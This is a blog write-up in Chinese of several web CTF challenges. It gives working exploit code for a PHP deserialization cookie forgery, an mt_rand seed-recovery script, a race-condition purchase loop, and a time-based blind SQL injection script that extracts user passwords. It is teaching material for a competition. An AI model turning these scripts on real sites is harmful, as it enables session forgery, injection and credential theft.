抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

week3的难度更上一层楼。果不其然ak掉web的flag倒了,最后还是差一道题(其实是因为xss花了太多时间没做出来自闭了不想做了)总而言之收获不小,也头一次感受到高手切磋的意思。下个week估计不会再花这么多时间做题了。干脆写下欠着的笔记以及其他事吧。

序列之争 - Ordinal Scale

其实这道反序列化应该是出给这个week的签到题,可惜自己太菜了……反序列化果然还是要好好研究一下啊。好在最后还是做出来了,而且还体会到不少反序列化的趣味性。看来是应该好好研究一番了:
首先源码提示source.zip,我们看下源码中有用的部分:
game.php(略掉无用部分)

<?php
    error_reporting(0);
    include_once('cardinal.php');
    if(isset($_SESSION['player'])){
        $playerName = $_SESSION['player'];
    }else{
        $playerName = $_POST['player'] ?? '';
        if($playerName === '' || is_array($playerName)){
            header('Location: index.php');
            exit;
        }
    }

    $game = new Game($playerName);
?>
当前排名: <?php echo($game->rank->Get());?>
      经验: <?php echo($_SESSION['exp']);?>
    <?php echo($game->welcomeMsg);?>
     <?php echo($game->rank->Get());?>
    <?php if($game->rank->Get() === 1){?>
hgame{flag_is_here}

cardinal.php

<?php
error_reporting(0);
session_start();

class Game
{   
    private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
    public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

    private $sign = '';
    public $rank;

    public function __construct($playerName){
        $_SESSION['player'] = $playerName;
        if(!isset($_SESSION['exp'])){
            $_SESSION['exp'] = 0;
        }
        $data = [$playerName, $this->encryptKey];
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }

    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);
            $this->sign .= md5($this->sign . $value);
        }
    }
}

class Rank
{
    private $rank;
    private $serverKey;     // 服务器的 Key
    private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';

    public function __construct(){
        if(!isset($_SESSION['rank'])){
            $this->Set(rand(2, 1000));
            return;
        }

        $this->Set($_SESSION['rank']);
    }

    public function Set($no){
        $this->rank = $no;
    }

    public function Get(){
        return $this->rank;
    }

    public function Fight($monster){
        if($monster['no'] >= $this->rank){
            $this->rank -= rand(5, 15);
            if($this->rank <= 2){
                $this->rank = 2;
            }

            $_SESSION['exp'] += rand(20, 200);
            return array(
                'result' => true, 
                'msg' => '<span style="color:green;">Congratulations! You win! </span>'
            );
        }else{
            return array(
                'result' => false, 
                'msg' => '<span style="color:red;">You die!</span>'
            );
        }
    }

    public function __destruct(){
        // 确保程序是跑在服务器上的!
        $this->serverKey = $_SERVER['key'];
        if($this->key === $this->serverKey){
            $_SESSION['rank'] = $this->rank;
        }else{
            // 非正常访问
            session_start();
            session_destroy();
            setcookie('monster', '');
            header('Location: index.php');
            exit;
        }
    }
}

class Monster
{
    private $monsterData;
    private $encryptKey;

    public function __construct($key){
        $this->encryptKey = $key;
        if(!isset($_COOKIE['monster'])){
            $this->Set();
            return;
        }

        $monsterData = base64_decode($_COOKIE['monster']);
        if(strlen($monsterData) > 32){
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }

        $this->Set();     
    }

    public function Set(){
        $monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
        $this->monsterData = array(
            'name' => $monsterName[array_rand($monsterName, 1)],
            'no' => rand(1, 2000),
        );
        $this->Save();
    }

    public function Get(){
        return $this->monsterData;
    }

    private function Save(){
        $sign = md5(serialize($this->monsterData) . $this->encryptKey);
        setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
    }
}

三个整齐的类,显然是php反序列化了。首先整理下思路,我们输入名字后开始游戏,这时只要$game->rank->Get() === 1即可拿到flag。那么首先跟随下流程吧。

重点先放在cardinal.php上。输入名字后,会实例化Game对象,而在Game类中,先后实例化Monster类与Rank类对象。其中monster类的实例化用到了一个init()函数。重点关注下这段代码

private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);
            $this->sign .= md5($this->sign . $value);
        }
    }

这里的sprintf()函数可以利用。由于sprintf()作用是将格式化字符串写入变量中,第一次循环$playername有值,则将值写入%s,循环结束,如果循环的是%s则进入下一次循环。所以所谓的$encryptkey可以直接得到。输入名字为%s即可。
这点是郁师傅提到,ddctf2019 web签到中出现过,包括下面一部分也跟那道题有关,所以我才能绕过这点。
key
接着注意到下面,在循环过后,我们的循环结果$value经过了一次MD5,用于monster的实例化了。那么跟进monster类,发现重要代码

$monsterData = base64_decode($_COOKIE['monster']);
        if(strlen($monsterData) > 32){
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }

原来monster是作为cookie被存储起来的,且只要我们的monstercookie满足条件,就有一个反序列化利用。所以关注下monoster的cookie的存储方式

private function Save(){
        $sign = md5(serialize($this->monsterData) . $this->encryptKey);
        setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
    }

了解到加密方式,就明白了我们的反序列化生效方法了:我们输入名字后,伪造cookie,从而执行反序列化使Rank类中的$rank为1,拿到flag。
所以exp如下,注意monster类中的$encryptley不是Game类中的的key。而是经过名字foreach后又md5了一下,传进Monster类中的;另外Rank类中的_destruct()也要绕过啊。我直接把destruct类扔掉后忘记改_construct()hh

<?php
class Rank
{
    private $rank = 1;
    private $serverKey;
    private $key;

    public function __construct()
    {
        $this->key = &$this->serverKey;
    }
}
$Game_encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
$Game_data = ['byc_404', $Game_encryptKey];
$Monster_encryptKey = '';
foreach($Game_data as $key => $value)
{
    $Monster_encryptKey .= md5($Monster_encryptKey . $value);
}
$a = new Rank();
$sign = md5(serialize($a) . $Monster_encryptKey);
$cookie = base64_encode(serialize($a) . $sign);
echo $cookie;

flag

二发入魂!

有一说一,虽然这题第11个做出来挺高兴的,但是基本没啥收获。题目描述也不清楚,漏洞利用有点鸡肋,做题时完全化身脚本小子。总而言之不知道出题人的意图是啥,web题不该是这种类型的吧。

首先判断漏洞类型。进入页面发现抽卡数与cdkey这两个提交框。抽卡时会出现一大串随机数。cdkey没说明要提交啥。提交时会说明值错误或者慢于2s。
打开源码发现提示php5,可以联想到是php5伪随机数漏洞(实际上各个版本的php都有这一漏洞,只不过5与7有区别)。之前在GWCTF上曾经作为web签到题做过,是关于mt_rand()这一函数的。
漏洞即在于随机数钟子设定时,产生的随机数序列是固定的。故可以根据随机数序列倒推种子或者根据种子去推随机数序列。常常用以下代码测试:

mt_srand(123);
for($i=0;$i<3;$i++){
 echo mt_rand()." ";
}

具体破解方法主要靠工具,即php_mt_seed,估记都用过。可以根据一个数倒推出各个php版本下的随机数种子。但是问题在于题目的种子显然是动态更新的,且基本不超过2s。相比GWCTF只跟session有关的静态种子,本题的更新速度迫使我们只能靠脚本解决。
果断上google找相关文章,这篇文章吸引到我的注意:https://www.ambionics.io/blog/php-mt-rand-prediction
文章的副标题说明,可以只通过两个值且并非暴力破解的方式得到种子。于是读了下文章,发现读不懂,纯算法层面。好在给出了脚本
https://github.com/ambionics/mt_rand-reverse
及使用方法
脚本
里面一个php脚本用于生成随机数,其中两个参数一个为种子,另一个为偏移量,如果offset设为0,则输出的是以输入种子生成的第1个和第228个随机数;python脚本用于解随机数,共四个参数,前面php脚本生成的两个随机数,一个偏移量同上,加上一个值为0/1的用于判别php版本的参数。0为php5,1为php7

所以我尝试拿本地的一组数据在虚拟机里试下,发现很快能拿到结果种子123,

python3 reverse_mt_rand.py   644748169  126568735  0   0

可能就是我要的脚本。
所以思路如下,在脚本中给抽卡次数传为228,获取第一个和第227个随机数,传给脚本,另两个参数直接设为0 0执行,结果开始翻车。主要是自己不熟悉os库吧,想要直接在一个脚本里调用另一个脚本,虽然结果是对的但就是拿不到flag。于是直接改这个解密脚本
(主要是把main()改成返回int值,原本是直接print的)。

import random
import requests
import re
import time

time_start=time.time()


url = 'https://twoshot.hgame.n3ko.co/random.php?times=228'
url1 = 'https://twoshot.hgame.n3ko.co/verify.php'
s = requests.session()
res = s.get(url)
key = res.text
key = key.replace('[', '')
key = key.replace(']', ',')
ans = re.findall(r'(.*?)\,', key)
arg1=ans[0]
arg2=ans[227]
print(arg1)
print(arg2)


#以下为原脚本
N = 624
M = 397

MAX = 0xffffffff
MOD = MAX + 1

# STATE_MULT * STATE_MULT_INV = 1 (mod MOD)
STATE_MULT = 1812433253
STATE_MULT_INV = 2520285293

MT_RAND_MT19937 = 1
MT_RAND_PHP = 0


def php_mt_initialize(seed):
    """Creates the initial state array from a seed.
    """
    state = [None] * N
    state[0] = seed & 0xffffffff;
    for i in range(1, N):
        r = state[i - 1]
        state[i] = (STATE_MULT * (r ^ (r >> 30)) + i) & MAX
    return state


def undo_php_mt_initialize(s, p):
    """From an initial state value `s` at position `p`, find out seed.
    """
    # We have:
    # state[i] = (1812433253U * ( state[i-1] ^ (state[i-1] >> 30) + i )) % 100000000
    # and:
    # (2520285293 * 1812433253) % 100000000 = 1 (Modular mult. inverse)
    # => 2520285293 * (state[i] - i) = ( state[i-1] ^ (state[i-1] >> 30) ) (mod 100000000)
    for i in range(p, 0, -1):
        s = _undo_php_mt_initialize(s, i)
    return s


def _undo_php_mt_initialize(s, i):
    s = (STATE_MULT_INV * (s - i)) & MAX
    return s ^ s >> 30


def php_mt_rand(s1):
    """Converts a merged state value `s1` into a random value, then sent to the
    user.
    """
    s1 ^= (s1 >> 11)
    s1 ^= (s1 << 7) & 0x9d2c5680
    s1 ^= (s1 << 15) & 0xefc60000
    s1 ^= (s1 >> 18)
    return s1


def undo_php_mt_rand(s1):
    """Retrieves the merged state value from the value sent to the user.
    """
    s1 ^= (s1 >> 18)
    s1 ^= (s1 << 15) & 0xefc60000

    s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680)

    s1 ^= s1 >> 11
    s1 ^= s1 >> 22

    return s1


def undo_lshift_xor_mask(v, shift, mask):
    """r s.t. v = r ^ ((r << shift) & mask)
    """
    for i in range(shift, 32, shift):
        v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i
    return v


def bits(v, start, size):
    return lobits(v >> start, size)


def lobits(v, b):
    return v & ((1 << b) - 1)


def bit(v, b):
    return v & (1 << b)


def bv(v, b):
    return bit(v, b) >> b


def php_mt_reload(state, flavour):
    s = state
    for i in range(0, N - M):
        s[i] = _twist_php(s[i + M], s[i], s[i + 1], flavour)
    for i in range(N - M, N - 1):
        s[i] = _twist_php(s[i + M - N], s[i], s[i + 1], flavour)


def _twist_php(m, u, v, flavour):
    """Emulates the `twist` and `twist_php` #defines.
    """
    mask = 0x9908b0df if (u if flavour == MT_RAND_PHP else v) & 1 else 0
    return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask


def undo_php_mt_reload(S000, S227, offset, flavour):
    # define twist_php(m,u,v)  (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(int32_t)(loBit(u))) & 0x9908b0dfU))
    # m S000
    # u S227
    # v S228
    X = S000 ^ S227

    # This means the mask was applied, and as such that S227's LSB is 1
    s22X_0 = bv(X, 31)
    # remove mask if present
    if s22X_0:
        X ^= 0x9908b0df

    # Another easy guess
    s227_31 = bv(X, 30)
    # remove bit if present
    if s227_31:
        X ^= 1 << 30

    # We're missing bit 0 and bit 31 here, so we have to try every possibility
    s228_1_30 = (X << 1)
    for s228_0 in range(2):
        for s228_31 in range(2):
            if flavour == MT_RAND_MT19937 and s22X_0 != s228_0:
                continue
            s228 = s228_0 | s228_31 << 31 | s228_1_30

            # Check if the results are consistent with the known bits of s227
            s227 = _undo_php_mt_initialize(s228, 228 + offset)
            if flavour == MT_RAND_PHP and bv(s227, 0) != s22X_0:
                continue
            if bv(s227, 31) != s227_31:
                continue

            # Check if the guessed seed yields S000 as its first scrambled state
            rand = undo_php_mt_initialize(s228, 228 + offset)
            state = php_mt_initialize(rand)
            php_mt_reload(state, flavour)

            if not (S000 == state[offset]):
                continue

            return rand
    return None


def main(_R000, _R227, offset, flavour):
    # Both were >> 1, so the leftmost byte is unknown
    _R000 <<= 1
    _R227 <<= 1

    for R000_0 in range(2):
        for R227_0 in range(2):
            R000 = _R000 | R000_0
            R227 = _R227 | R227_0
            S000 = undo_php_mt_rand(R000)
            S227 = undo_php_mt_rand(R227)
            seed = undo_php_mt_reload(S000, S227, offset, flavour)
            if seed:
                return seed



seed=main(int(arg1), int(arg2), 0, 0)
print(seed)
data={
    'ans':seed
}
res1=s.post(url1,data)
print(res1.text)
time_end=time.time()
print('totally cost',time_end-time_start)

为了方便我加了个计时器输出运行时间,可是貌似时间约0.3s左右时也没拿到flag。好在自己没放弃一直试,后面脚本运行时间差不多一直为0.18s左右时拿到flag了。可能一开始自己内存跑太满了吧……
flag

ps:我错了。后来才发现这个洞很有用处。因为很多cms的cookie是直接mt_rand()生成的。所以伪造cookie是一种妙招

Cosmos的二手市场

有些丢脸。能做出来是靠师傅的提示。之前最大的问题主要在于没有辨析出漏洞所在,因此不好下手。像这类买卖东西的题目,我自己的认识主要来源于hackergame2019的达拉崩吧大冒险。当时里面漏洞之处在于自己的战斗力可以为负数,所以引申出负溢出。而这道题开始我也当成负溢出了,实际上是个多线程,或许叫条件竞争更为准确。

用burp重复发包卖东西,同时自己用python脚本不断买东西。只要burp的线程数快于python的,就可以保证金钱数在增加。
pyhton脚本

import requests
import time
url='http://121.36.88.65:9999//API/?method=buy'
cookies={'PHPSESSID':'d0ov3vsd1hpjjf8ofuakhacd0n'}
headers={
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0'
}
payload={
    'code': '800002',
    'amount': '30'
}
for i in range(1,1000000):
    res=requests.post(url,data=payload,cookies=cookies,headers=headers)
    time.sleep(0.6)

比较菜,多线程忘光了,所以直接每次for循环用后sleep()一下。
burp直接重复发包:
payload调成NullPayloads
最后多跑几遍,钱数够了后拿到flag
flag

Cosmos的留言板-2

有点坑。题目坑不在难度上,主要是环境太差了,估计几个人一起注就要出问题。好在联系出题人重启了两遍总算能做了,毕竟都是用的学生机,能理解的。

首先是找漏洞。题目名称明显是week2留言板的后续,也就是说多半是sql注入。开始进去一个登录框,提供了注册功能。所以先注册一个账号登进去。期间容易发现对用户名的过滤很严格;进去后发现一个留言板。通常留言板多半是xss或者sql注入了吧。于是尝试留几个言。发现都不行。这时注意到一个删除功能,点击删除功能时出现的url是这样的:

index.php?method=delete&delete_id=1101

开始我的第一想法是这样的:(参考网上搜到的文章:https://juejin.im/entry/5c11e35b51882530e46188ed

这道题目难度显然要高不少,但给我很大启发。其注入点在于删除操作中的语句

$result = $conn->query("delete from note where id=$id and user='$user'");

其中$user是可注的。所以那道题目在执行删除操作时就可以触发已经注入的名字,引起二次注入。这也是我开始对留言板这题的判断:二次注入。但是尝试注册时发现过滤的实在是太多了,基本不可能注册一个sql语句,看来是在其他地方可注。
之后又重新注意到上面提到的删除语句,发现一件事,当我在burp里不改变delete_id重复发包时,结果都显示的删除成功。也就是说,这个操作并没有真正删掉我们的语句。仔细FUZZ的话,发现只要id传数字,任何数字都不会报错。判断是数值型注入。
但是回显就很难受了,尝试

delete_id=1 and 1=1
delete_id=1 and 1=2

的回显都是删除成功。这就不太妙了。而且经过FUZZ后并没有过滤掉关键字。只能尝试盲注,而且是时间盲注。
这里吐槽下题目,自己做时题目的id已经五千多,删除操作每次都贼卡。我用脚本测试时间盲注最简单的语句

delete_id=if(length(database())<100,sleep(5),1)

都没有延迟,一度让我怀疑这个参数是否可注了。然而同样的payload第二天早上跑(估计因为做题的人这时候并不多)就测出有延时。难受,浪费了我好长时间自我怀疑。
所以贴下脚本吧,题目对关键字并没有过滤,唯一的问题就是环境不好,每次跑都跑不出完整结果。只有最后一次叫出题人重启环境时才成功跑出每一个字符。

import requests

flag=''
cookies={
    'PHPSESSID':'f9nl4jl987d07pisnq508o1kg7'
}

for i in range(1,40):
    print(i)
    for j in range(32,128):
        url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=if(ascii(substr((select group_concat(password) from user),"+str(i)+",1))="+str(j)+",sleep(10),1)"
        #if(length(database())="+str(i)+",sleep(6),1)"  7
        #if(ascii(substr(database(),1,1))="+str(i)+",sleep(6),1)    babysql
        #if(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),"+str(i)+",1))="+str(j)+",sleep(6),1)    messages , user
        #if(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='messages'),"+str(i)+",1))="+str(j)+",sleep(6),1)    message-id ,user-id,message
        #if(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user'),"+str(i)+",1))="+str(j)+",sleep(6),1)          id, name,password
        #if(ascii(substr((select group_concat(name) from user),"+str(i)+",1))="+str(j)+",sleep(6),1)   cosmos,
        # if(ascii(substr((select group_concat(password) from user),"+str(i)+",1))="+str(j)+",sleep(6),1)  f1FXOCnj26Fkadzt4Sqynf6O7CgR
        try:
            result = requests.get(url, cookies=cookies, timeout=10)
        except requests.exceptions.ReadTimeout:
            flag+=chr(j)
            print(flag)
            break

开始都是sleep(6)也能注,后来不得不调整到sleep(10)才好转了。总之题目是比较基本的时间盲注,但我估计很多人因为环境本来可以做的最后都不得不放弃。最后是注出user表里的cosmos跟密码,登录即可。
flag

评论